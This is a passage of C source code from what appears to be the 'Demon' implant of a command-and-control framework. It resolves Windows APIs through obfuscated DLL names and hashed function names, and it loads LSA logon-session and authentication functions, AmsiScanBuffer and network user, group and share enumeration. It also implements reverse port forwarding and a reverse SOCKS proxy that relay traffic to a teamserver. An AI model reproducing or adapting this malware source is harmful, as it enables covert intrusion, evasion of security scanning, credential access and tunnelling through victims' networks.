); Instance->Win32.GetSystemMetrics = LdrFunctionAddr( Instance->Modules.User32, H_FUNC_GETSYSTEMMETRICS ); Instance->Win32.GetDC = LdrFunctionAddr( Instance->Modules.User32, H_FUNC_GETDC ); Instance->Win32.ReleaseDC = LdrFunctionAddr( Instance->Modules.User32, H_FUNC_RELEASEDC ); PUTS( "Loaded User32 functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load User32" ) return FALSE; } return TRUE; } BOOL RtShell32( VOID ) { CHAR ModuleName[ 12 ] = { 0 }; ModuleName[ 0 ] = HideChar('S'); ModuleName[ 10 ] = HideChar('L'); ModuleName[ 7 ] = HideChar('.'); ModuleName[ 6 ] = HideChar('2'); ModuleName[ 8 ] = HideChar('D'); ModuleName[ 4 ] = HideChar('L'); ModuleName[ 1 ] = HideChar('H'); ModuleName[ 11 ] = HideChar(0); ModuleName[ 9 ] = HideChar('L'); ModuleName[ 5 ] = HideChar('3'); ModuleName[ 3 ] = HideChar('L'); ModuleName[ 2 ] = HideChar('E'); if ( ( Instance->Modules.Shell32 = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.CommandLineToArgvW = LdrFunctionAddr( Instance->Modules.Shell32, H_FUNC_COMMANDLINETOARGVW ); PUTS( "Loaded Shell32 functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load Shell32" ) return FALSE; } return TRUE; } BOOL RtMsvcrt( VOID ) { CHAR ModuleName[ 11 ] = { 0 }; ModuleName[ 0 ] = HideChar('M'); ModuleName[ 6 ] = HideChar('.'); ModuleName[ 10 ] = HideChar(0); ModuleName[ 9 ] = HideChar('L'); ModuleName[ 4 ] = HideChar('R'); ModuleName[ 2 ] = HideChar('V'); ModuleName[ 8 ] = HideChar('L'); ModuleName[ 7 ] = HideChar('D'); ModuleName[ 3 ] = HideChar('C'); ModuleName[ 5 ] = HideChar('T'); ModuleName[ 1 ] = HideChar('S'); if ( ( Instance->Modules.Msvcrt = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.vsnprintf = LdrFunctionAddr( Instance->Modules.Msvcrt, H_FUNC_VSNPRINTF ); Instance->Win32.swprintf_s = LdrFunctionAddr( Instance->Modules.Msvcrt, H_FUNC_SWPRINTF_S ); PUTS( "Loaded Msvcrt functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load Msvcrt" ) return FALSE; } return TRUE; } BOOL RtIphlpapi( VOID ) { CHAR ModuleName[ 13 ] = { 0 }; ModuleName[ 8 ] = HideChar('.'); ModuleName[ 0 ] = HideChar('I'); ModuleName[ 10 ] = HideChar('L'); ModuleName[ 2 ] = HideChar('H'); ModuleName[ 9 ] = HideChar('D'); ModuleName[ 6 ] = HideChar('P'); ModuleName[ 11 ] = HideChar('L'); ModuleName[ 1 ] = HideChar('P'); ModuleName[ 3 ] = HideChar('L'); ModuleName[ 12 ] = HideChar(0); ModuleName[ 5 ] = HideChar('A'); ModuleName[ 4 ] = HideChar('P'); ModuleName[ 7 ] = HideChar('I'); if ( ( Instance->Modules.Iphlpapi = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.GetAdaptersInfo = LdrFunctionAddr( Instance->Modules.Iphlpapi, H_FUNC_GETADAPTERSINFO ); PUTS( "Loaded Iphlpapi functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load Iphlpapi" ) return FALSE; } return TRUE; } BOOL RtGdi32( VOID ) { CHAR ModuleName[ 10 ] = { 0 }; ModuleName[ 4 ] = HideChar('2'); ModuleName[ 6 ] = HideChar('D'); ModuleName[ 5 ] = HideChar('.'); ModuleName[ 8 ] = HideChar('L'); ModuleName[ 2 ] = HideChar('I'); ModuleName[ 1 ] = HideChar('D'); ModuleName[ 7 ] = HideChar('L'); ModuleName[ 9 ] = HideChar(0); ModuleName[ 0 ] = HideChar('G'); ModuleName[ 3 ] = HideChar('3'); if ( ( Instance->Modules.Gdi32 = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.GetCurrentObject = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_GETCURRENTOBJECT ); Instance->Win32.GetObjectW = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_GETOBJECTW ); Instance->Win32.CreateCompatibleDC = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_CREATECOMPATIBLEDC ); Instance->Win32.CreateDIBSection = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_CREATEDIBSECTION ); Instance->Win32.SelectObject = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_SELECTOBJECT ); Instance->Win32.BitBlt = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_BITBLT ); Instance->Win32.DeleteObject = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_DELETEOBJECT ); Instance->Win32.DeleteDC = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_DELETEDC ); PUTS( "Loaded Gdi32 functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load Gdi32" ) return FALSE; } return TRUE; } BOOL RtNetApi32( VOID ) { CHAR ModuleName[ 13 ] = { 0 }; ModuleName[ 0 ] = HideChar('N'); ModuleName[ 11 ] = HideChar('L'); ModuleName[ 8 ] = HideChar('.'); ModuleName[ 9 ] = HideChar('D'); ModuleName[ 6 ] = HideChar('3'); ModuleName[ 2 ] = HideChar('T'); ModuleName[ 3 ] = HideChar('A'); ModuleName[ 10 ] = HideChar('L'); ModuleName[ 12 ] = HideChar(0); ModuleName[ 4 ] = HideChar('P'); ModuleName[ 5 ] = HideChar('I'); ModuleName[ 1 ] = HideChar('E'); ModuleName[ 7 ] = HideChar('2'); if ( ( Instance->Modules.NetApi32 = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.NetLocalGroupEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETLOCALGROUPENUM ); Instance->Win32.NetGroupEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETGROUPENUM ); Instance->Win32.NetUserEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETUSERENUM ); Instance->Win32.NetWkstaUserEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETWKSTAUSERENUM ); Instance->Win32.NetSessionEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETSESSIONENUM ); Instance->Win32.NetShareEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETSHAREENUM ); Instance->Win32.NetApiBufferFree = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETAPIBUFFERFREE ); PUTS( "Loaded NetApi32 functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load NetApi32" ) return FALSE; } return TRUE; } BOOL RtWs2_32( VOID ) { CHAR ModuleName[ 11 ] = { 0 }; ModuleName[ 0 ] = HideChar('W'); ModuleName[ 2 ] = HideChar('2'); ModuleName[ 4 ] = HideChar('3'); ModuleName[ 6 ] = HideChar('.'); ModuleName[ 9 ] = HideChar('L'); ModuleName[ 1 ] = HideChar('S'); ModuleName[ 3 ] = HideChar('_'); ModuleName[ 5 ] = HideChar('2'); ModuleName[ 10 ] = HideChar(0); ModuleName[ 8 ] = HideChar('L'); ModuleName[ 7 ] = HideChar('D'); if ( ( Instance->Modules.Ws2_32 = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.WSAStartup = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_WSASTARTUP ); Instance->Win32.WSACleanup = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_WSACLEANUP ); Instance->Win32.WSASocketA = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_WSASOCKETA ); Instance->Win32.WSAGetLastError = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_WSAGETLASTERROR ); Instance->Win32.ioctlsocket = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_IOCTLSOCKET ); Instance->Win32.bind = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_BIND ); Instance->Win32.listen = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_LISTEN ); Instance->Win32.accept = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_ACCEPT ); Instance->Win32.closesocket = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_CLOSESOCKET ); Instance->Win32.recv = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_RECV ); Instance->Win32.send = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_SEND ); Instance->Win32.connect = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_CONNECT ); Instance->Win32.getaddrinfo = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_GETADDRINFO ); Instance->Win32.freeaddrinfo = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_FREEADDRINFO ); PUTS( "Loaded Ws2_32 functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load Ws2_32" ) return FALSE; } return TRUE; } BOOL RtSspicli( VOID ) { CHAR ModuleName[ 12 ] = { 0 }; ModuleName[ 0 ] = HideChar('S'); ModuleName[ 11 ] = HideChar(0); ModuleName[ 9 ] = HideChar('L'); ModuleName[ 1 ] = HideChar('S'); ModuleName[ 6 ] = HideChar('I'); ModuleName[ 7 ] = HideChar('.'); ModuleName[ 5 ] = HideChar('L'); ModuleName[ 8 ] = HideChar('D'); ModuleName[ 2 ] = HideChar('P'); ModuleName[ 10 ] = HideChar('L'); ModuleName[ 4 ] = HideChar('C'); ModuleName[ 3 ] = HideChar('I'); if ( ( Instance->Modules.Sspicli = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.LsaRegisterLogonProcess = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSAREGISTERLOGONPROCESS ); Instance->Win32.LsaLookupAuthenticationPackage = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSALOOKUPAUTHENTICATIONPACKAGE ); Instance->Win32.LsaDeregisterLogonProcess = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSADEREGISTERLOGONPROCESS ); Instance->Win32.LsaConnectUntrusted = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSACONNECTUNTRUSTED ); Instance->Win32.LsaFreeReturnBuffer = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSAFREERETURNBUFFER ); Instance->Win32.LsaCallAuthenticationPackage = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSACALLAUTHENTICATIONPACKAGE ); Instance->Win32.LsaGetLogonSessionData = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSAGETLOGONSESSIONDATA ); Instance->Win32.LsaEnumerateLogonSessions = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSAENUMERATELOGONSESSIONS ); PUTS( "Loaded Sspicli functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load Sspicli" ) return FALSE; } return TRUE; } BOOL RtAmsi( VOID ) { CHAR ModuleName[ 9 ] = { 0 }; ModuleName[ 3 ] = HideChar('I'); ModuleName[ 5 ] = HideChar('D'); ModuleName[ 7 ] = HideChar('L'); ModuleName[ 8 ] = HideChar(0); ModuleName[ 6 ] = HideChar('L'); ModuleName[ 4 ] = HideChar('.'); ModuleName[ 0 ] = HideChar('A'); ModuleName[ 1 ] = HideChar('M'); ModuleName[ 2 ] = HideChar('S'); if ( ( Instance->Modules.Amsi = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.AmsiScanBuffer = LdrFunctionAddr( Instance->Modules.Amsi, H_FUNC_AMSISCANBUFFER ); PUTS( "Loaded Amsi functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load Amsi" ) return FALSE; } return TRUE; } #ifdef TRANSPORT_HTTP BOOL RtWinHttp( VOID ) { CHAR ModuleName[ 12 ] = { 0 }; ModuleName[ 0 ] = HideChar('W'); ModuleName[ 2 ] = HideChar('N'); ModuleName[ 7 ] = HideChar('.'); ModuleName[ 11 ] = HideChar(0); ModuleName[ 10 ] = HideChar('L'); ModuleName[ 4 ] = HideChar('T'); ModuleName[ 8 ] = HideChar('D'); ModuleName[ 1 ] = HideChar('I'); ModuleName[ 9 ] = HideChar('L'); ModuleName[ 6 ] = HideChar('P'); ModuleName[ 3 ] = HideChar('H'); ModuleName[ 5 ] = HideChar('T'); if ( ( Instance->Modules.WinHttp = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.WinHttpOpen = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPOPEN ); Instance->Win32.WinHttpConnect = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPCONNECT ); Instance->Win32.WinHttpOpenRequest = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPOPENREQUEST ); Instance->Win32.WinHttpSetOption = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPSETOPTION ); Instance->Win32.WinHttpCloseHandle = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPCLOSEHANDLE ); Instance->Win32.WinHttpSendRequest = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPSENDREQUEST ); Instance->Win32.WinHttpAddRequestHeaders = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPADDREQUESTHEADERS ); Instance->Win32.WinHttpReceiveResponse = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPRECEIVERESPONSE ); Instance->Win32.WinHttpReadData = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPREADDATA ); Instance->Win32.WinHttpQueryHeaders = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPQUERYHEADERS ); Instance->Win32.WinHttpGetIEProxyConfigForCurrentUser = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPGETIEPROXYCONFIGFORCURRENTUSER ); Instance->Win32.WinHttpGetProxyForUrl = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPGETPROXYFORURL ); PUTS( "Loaded WinHttp functions" ) } else { MemZero( ModuleName, sizeof( ModuleName ) ); PUTS( "Failed to load WinHttp" ) return FALSE; } return TRUE; } #endif ================================================ FILE: payloads/Demon/src/core/Socket.c ================================================ #include #include /* attempt to receive all the requested data from the socket * Took it from: https://github.com/rsmudge/metasploit-loader/blob/master/src/main.c#L41 */ BOOL RecvAll( SOCKET Socket, PVOID Buffer, DWORD Length, PDWORD BytesRead ) { DWORD tret = 0; DWORD nret = 0; PVOID Start = Buffer; while ( tret < Length ) { nret = Instance->Win32.recv( Socket, Start, Length - tret, 0 ); if ( nret == SOCKET_ERROR ) { PUTS( "recv Failed" ) *BytesRead = tret; return FALSE; } Start += nret; tret += nret; } *BytesRead = tret; return TRUE; } BOOL InitWSA( VOID ) { WSADATA WsData = { 0 }; DWORD Result = 0; /* Init Windows Socket. */ if ( Instance->WSAWasInitialised == FALSE ) { PUTS( "Init Windows Socket..." ) if ( ( Result = Instance->Win32.WSAStartup( MAKEWORD( 2, 2 ), &WsData ) ) != 0 ) { PRINTF( "WSAStartup Failed: %d\n", Result ) /* cleanup and be gone. */ Instance->Win32.WSACleanup(); return FALSE; } Instance->WSAWasInitialised = TRUE; } return TRUE; } /* Inspired from https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp_server.c#L277 */ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PBYTE IPv6, DWORD LclPort, DWORD FwdAddr, DWORD FwdPort, DWORD ParentID ) { PSOCKET_DATA Socket = NULL; SOCKADDR_IN SockAddr = { 0 }; SOCKADDR_IN6_LH SockAddr6 = { 0 }; u_long IoBlock = 1; UINT32 ErrorCode = 0; /* if we specified SOCKET_TYPE_NONE then that means that * the caller only wants an object inserted into the socket linked list. */ if ( ( Type != SOCKET_TYPE_NONE ) && ( Type != SOCKET_TYPE_CLIENT ) ) { if ( ! InitWSA() ) return NULL; PUTS( "Create Socket..." ) if ( UseIpv4 ) { WinSock = Instance->Win32.WSASocketA( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, NULL ); if ( WinSock == INVALID_SOCKET ) { PRINTF( "WSASocketA Failed: %d\n", NtGetLastError() ) goto CLEANUP; } /* Set bind address and port */ SockAddr.sin_addr.s_addr = IPv4; SockAddr.sin_port = HTONS16( LclPort ); SockAddr.sin_family = AF_INET; PRINTF( "SockAddr: %d.%d.%d.%d:%d\n", ( IPv4 & 0x000000ff ) >> ( 0 * 8 ), ( IPv4 & 0x0000ff00 ) >> ( 1 * 8 ), ( IPv4 & 0x00ff0000 ) >> ( 2 * 8 ), ( IPv4 & 0xff000000 ) >> ( 3 * 8 ), LclPort ) } else { WinSock = Instance->Win32.WSASocketA( AF_INET6, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 ); if ( WinSock == INVALID_SOCKET ) { PRINTF( "WSASocketA Failed: %d\n", NtGetLastError() ) goto CLEANUP; } /* Set bind address and port */ MemCopy( &SockAddr6.sin6_addr, IPv6, 16 ); SockAddr6.sin6_port = HTONS16( LclPort ); SockAddr6.sin6_family = AF_INET6; PRINTF( "SockAddr6: %02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%d\n", IPv6[0], IPv6[1], IPv6[2], IPv6[3], IPv6[4], IPv6[5], IPv6[6], IPv6[7], IPv6[8], IPv6[9], IPv6[10], IPv6[11], IPv6[12], IPv6[13], IPv6[14], IPv6[15], LclPort ) } if ( Type == SOCKET_TYPE_REVERSE_PROXY ) { if ( UseIpv4 ) { /* connect to host:port */ if ( Instance->Win32.connect( WinSock, ( struct sockaddr * ) &SockAddr, sizeof( SOCKADDR_IN ) ) == SOCKET_ERROR ) { PRINTF( "connect failed: %d\n", NtGetLastError() ) goto CLEANUP; } } else { /* connect to host:port */ if ( Instance->Win32.connect( WinSock, ( struct sockaddr * ) &SockAddr6, sizeof( SOCKADDR_IN6_LH ) ) == SOCKET_ERROR ) { PRINTF( "connect failed: %d\n", NtGetLastError() ) goto CLEANUP; } } /* set socket to non blocking */ if ( Instance->Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) == SOCKET_ERROR ) { PRINTF( "ioctlsocket failed: %d\n", NtGetLastError() ) goto CLEANUP; } PUTS( "Connected to host" ) } else { // SOCKET_TYPE_REVERSE_PORTFWD only supports IPv4 /* set socket to non blocking */ if ( Instance->Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) == SOCKET_ERROR ) { PRINTF( "ioctlsocket failed: %d\n", NtGetLastError() ) goto CLEANUP; } /* bind the socket */ if ( Instance->Win32.bind( WinSock, ( struct sockaddr * ) &SockAddr, sizeof( SOCKADDR_IN ) ) == SOCKET_ERROR ) { PRINTF( "bind failed: %d\n", NtGetLastError() ) goto CLEANUP; } /* now listen... */ if ( Instance->Win32.listen( WinSock, 1 ) == SOCKET_ERROR ) { PRINTF( "listen failed: %d\n", NtGetLastError() ) goto CLEANUP; } PUTS( "Started listening..." ) } } /* Allocate our Socket object */ Socket = MmHeapAlloc( sizeof( SOCKET_DATA ) ); Socket->ID = RandomNumber32(); Socket->ParentID = ParentID; Socket->Type = Type; Socket->ShouldRemove = FALSE; Socket->IPv4 = IPv4; Socket->IPv6 = IPv6; Socket->LclPort = LclPort; Socket->FwdAddr = FwdAddr; Socket->FwdPort = FwdPort; Socket->Socket = WinSock; Socket->Next = Instance->Sockets; Instance->Sockets = Socket; PRINTF( "SocketNew => ID:[%x] Parent:[%x] WinSock:[%x] Type:[%d] IPv4:[%lx] IPv6:[%lx] LclPort:[%ld] FwdAddr:[%lx] FwdPort:[%ld]\n", Socket->ID, ParentID, WinSock, Type, IPv4, IPv6, LclPort, FwdAddr, FwdPort ) return Socket; CLEANUP: if ( WinSock && WinSock != INVALID_SOCKET ) { // close the socket preserving the last error code ErrorCode = NtGetLastError(); Instance->Win32.closesocket( WinSock ); NtSetLastError(ErrorCode); } return NULL; } /* Check for new connected clients. */ VOID SocketClients() { PPACKAGE Package = NULL; PSOCKET_DATA Socket = NULL; PSOCKET_DATA Client = NULL; SOCKET WinSock = 0; u_long IoBlock = 1; Socket = Instance->Sockets; /* First lets check for new clients */ for ( ;; ) { if ( ! Socket ) break; if ( Socket->ShouldRemove ) { Socket = Socket->Next; continue; } /* Accept any connection made from the rportfwd */ if ( Socket->Type == SOCKET_TYPE_REVERSE_PORTFWD ) { /* accept connection */ WinSock = Instance->Win32.accept( Socket->Socket, NULL, NULL ); if ( WinSock != INVALID_SOCKET ) { /* set socket to non blocking */ if ( Instance->Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) != SOCKET_ERROR ) { /* Add the client to the socket linked list so we can read from it later on */ Client = SocketNew( WinSock, SOCKET_TYPE_CLIENT, TRUE, Socket->IPv4, NULL, Socket->LclPort, Socket->FwdAddr, Socket->FwdPort, Socket->ID ); /* create socket response package */ Package = PackageCreate( DEMON_COMMAND_SOCKET ); /* socket package header */ PackageAddInt32( Package, SOCKET_COMMAND_OPEN ); PackageAddInt32( Package, Client->ID ); /* Local Host & Port data */ PackageAddInt32( Package, Client->IPv4 ); PackageAddInt32( Package, Client->LclPort ); /* Forward Host & Port data */ PackageAddInt32( Package, Client->FwdAddr ); PackageAddInt32( Package, Client->FwdPort ); /* Send the socket open request */ PackageTransmit( Package ); Package = NULL; } else { PRINTF( "ioctlsocket failed: %d\n", NtGetLastError() ) /* close socket. */ Instance->Win32.closesocket( WinSock ); } } } Socket = Socket->Next; } } /* Read data from the clients */ VOID SocketRead() { PPACKAGE Package = NULL; PSOCKET_DATA Socket = NULL; PVOID NewBuffer = NULL; BUFFER PartialData = { 0 }; BUFFER FullData = { 0 }; BOOL Failed = FALSE; DWORD ErrorCode = 0; Socket = Instance->Sockets; /* First lets check for new clients */ for ( ;; ) { if ( ! Socket ) break; if ( Socket->ShouldRemove ) { Socket = Socket->Next; continue; } Failed = FALSE; ErrorCode = 0; /* reads data from connected clients/socks proxies */ if ( Socket->Type == SOCKET_TYPE_CLIENT || Socket->Type == SOCKET_TYPE_REVERSE_PROXY ) { FullData.Length = 0; FullData.Buffer = NULL; do { PartialData.Length = 0; PartialData.Buffer = NULL; /* * FIONREAD returns the amount of data that can be read in a single call to the recv function * this might not be the same as the total amount of data queued on the socket. * because of this, we read for new data in a loop */ if ( Instance->Win32.ioctlsocket( Socket->Socket, FIONREAD, &PartialData.Length ) == SOCKET_ERROR ) { PRINTF( "Failed to get the read size from %x : %d\n", Socket->ID, Socket->Type ) /* Tell the Socket remover that it can remove this one. */ Socket->ShouldRemove = TRUE; Failed = TRUE; ErrorCode = Instance->Win32.WSAGetLastError(); } if ( PartialData.Length > 0 ) { PartialData.Buffer = MmHeapAlloc( PartialData.Length ); if ( ! RecvAll( Socket->Socket, PartialData.Buffer, PartialData.Length, &PartialData.Length ) ) { Failed = TRUE; ErrorCode = Instance->Win32.WSAGetLastError(); } if ( PartialData.Length > 0 ) { if ( ! FullData.Buffer ) { FullData.Buffer = PartialData.Buffer; FullData.Length = PartialData.Length; PartialData.Buffer = NULL; } else { // allocate a new buffer to store the old and new data NewBuffer = MmHeapAlloc( FullData.Length + PartialData.Length ); // copy the old data into the new buffer MemCopy( NewBuffer, FullData.Buffer, FullData.Length ); // free the old 'FullData' buffer MemSet( FullData.Buffer, 0, FullData.Length ); MmHeapFree( FullData.Buffer ); // set the new buffer into 'FullData' FullData.Buffer = NewBuffer; NewBuffer = NULL; // copy the new data MemCopy( C_PTR( U_PTR( FullData.Buffer ) + FullData.Length ), PartialData.Buffer, PartialData.Length ); FullData.Length += PartialData.Length; // free the new data MemSet( PartialData.Buffer, 0, PartialData.Length ); MmHeapFree( PartialData.Buffer ); PartialData.Buffer = NULL; } } } } while ( PartialData.Length > 0 ); if ( FullData.Length > 0 ) { PRINTF( "Read %ld bytes from socket %x\n", FullData.Length, Socket->ID ) /* Create socket request package */ Package = PackageCreate( DEMON_COMMAND_SOCKET ); /* tell the teamserver to write to the socket of the forwarded host */ PackageAddInt32( Package, SOCKET_COMMAND_READ ); PackageAddInt32( Package, Socket->ID ); PackageAddInt32( Package, Socket->Type ); PackageAddInt32( Package, TRUE ); /* add the data we read from the client socket */ PackageAddBytes( Package, FullData.Buffer, FullData.Length ); /* now let's send it */ PackageTransmit( Package ); } if ( Failed ) { /* Create socket request package */ Package = PackageCreate( DEMON_COMMAND_SOCKET ); /* notify the teamserver of the error */ PackageAddInt32( Package, SOCKET_COMMAND_READ ); PackageAddInt32( Package, Socket->ID ); PackageAddInt32( Package, Socket->Type ); PackageAddInt32( Package, FALSE ); PackageAddInt32( Package, ErrorCode ); /* now let's send it */ PackageTransmit( Package ); } if ( FullData.Buffer ) { /* free and clear out our buffer */ MemSet( FullData.Buffer, 0, FullData.Length ); MmHeapFree( FullData.Buffer ); FullData.Length = 0; FullData.Buffer = NULL; } } Socket = Socket->Next; } } VOID SocketFree( PSOCKET_DATA Socket ) { PPACKAGE Package = NULL; PRINTF( "Closing socket %x\n", Socket->ID ) /* do we want to remove a reverse port forward client ? */ if ( Socket->Type == SOCKET_TYPE_REVERSE_PORTFWD || Socket->Type == SOCKET_TYPE_CLIENT ) { /* create socket response package */ Package = PackageCreate( DEMON_COMMAND_SOCKET ); /* socket package header */ PackageAddInt32( Package, SOCKET_COMMAND_RPORTFWD_REMOVE ); PackageAddInt32( Package, Socket->ID ); PackageAddInt32( Package, Socket->Type ); /* Local Host & Port data */ PackageAddInt32( Package, Socket->IPv4 ); PackageAddInt32( Package, Socket->LclPort ); /* Forward Host & Port data */ PackageAddInt32( Package, Socket->FwdAddr ); PackageAddInt32( Package, Socket->FwdPort ); /* Send the socket open request */ PackageTransmit( Package ); Package = NULL; } /* do we want to remove a socks proxy client ? */ else if ( Socket->Type == SOCKET_TYPE_REVERSE_PROXY ) { /* create socket response package */ Package = PackageCreate( DEMON_COMMAND_SOCKET ); /* socket package header */ PackageAddInt32( Package, SOCKET_COMMAND_CLOSE ); PackageAddInt32( Package, Socket->ID ); PackageAddInt32( Package, SOCKET_TYPE_REVERSE_PROXY ); /* Send the socket open request */ PackageTransmit( Package ); Package = NULL; } if ( Socket->Socket ) { Instance->Win32.closesocket( Socket->Socket ); Socket->Socket = 0; } MemSet( Socket, 0, sizeof( SOCKET_DATA ) ); MmHeapFree( Socket ); Socket = NULL; } VOID SocketCleanDead() { PSOCKET_DATA Socket = NULL; PSOCKET_DATA SkLast = NULL; /* * TODO: re-work on this. * make that after the socket got used close it. * maybe add a timeout ? after the socket didn't got used after a certain period of time. */ Socket = Instance->Sockets; for ( ;; ) { if ( ! Socket ) break; if ( Socket->ShouldRemove ) { /* we are at the beginning. */ if ( ! SkLast ) { Instance->Sockets = Socket->Next; SocketFree( Socket ); Socket = Instance->Sockets; } else { SkLast->Next = Socket->Next; SocketFree( Socket ); Socket = SkLast->Next; } } else { SkLast = Socket; Socket = Socket->Next; } } } VOID SocketPush() { /* check for new clients */ SocketClients(); /* Read data from the clients and send it to our server/forwarded host */ SocketRead(); /* kill every dead/removed socket */ SocketCleanDead(); } /*! * Query the IPv4 from the specified domain * @param Domain * @return IPv4 address */ DWORD DnsQueryIPv4( LPSTR Domain ) { ADDRINFOA hints = { 0 }; PADDRINFOA res = NULL; DWORD IP = 0; INT Ret = 0; if ( ! InitWSA() ) return 0; hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; Ret = Instance->Win32.getaddrinfo( Domain, NULL, &hints, &res ); if ( Ret != 0 ) { PRINTF( "getaddrinfo failed with %d for %s\n", Ret, Domain ); return 0; } IP = ((struct sockaddr_in *)res->ai_addr)->sin_addr.S_un.S_addr; Instance->Win32.freeaddrinfo( res ); PRINTF( "Got IPv4 for %s: %d.%d.%d.%d\n", Domain, ( IP & 0x000000ff ) >> ( 0 * 8 ), ( IP & 0x0000ff00 ) >> ( 1 * 8 ), ( IP & 0x00ff0000 ) >> ( 2 * 8 ), ( IP & 0xff000000 ) >> ( 3 * 8 ) ) return IP; } /*! * Query the IPv6 from the specified domain * @param Domain * @return IPv6 address */ PBYTE DnsQueryIPv6( LPSTR Domain ) { ADDRINFOA hints = { 0 }; PADDRINFOA res = NULL; INT Ret = 0; PBYTE IPv6 = NULL; if ( ! InitWSA() ) return 0; hints.ai_family = AF_INET6; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; Ret = Instance->Win32.getaddrinfo( Domain, NULL, &hints, &res ); if ( Ret != 0 ) { PRINTF( "getaddrinfo failed with %d for %s\n", Ret, Domain ); return NULL; } // the caller is responsible for freeing this! IPv6 = Instance->Win32.LocalAlloc( LPTR, 16 ); MemCopy( IPv6, ((struct sockaddr_in6 *)res->ai_addr)->sin6_addr.u.Byte, 16 ); Instance->Win32.freeaddrinfo( res ); PRINTF( "Got IPv6 for %s: 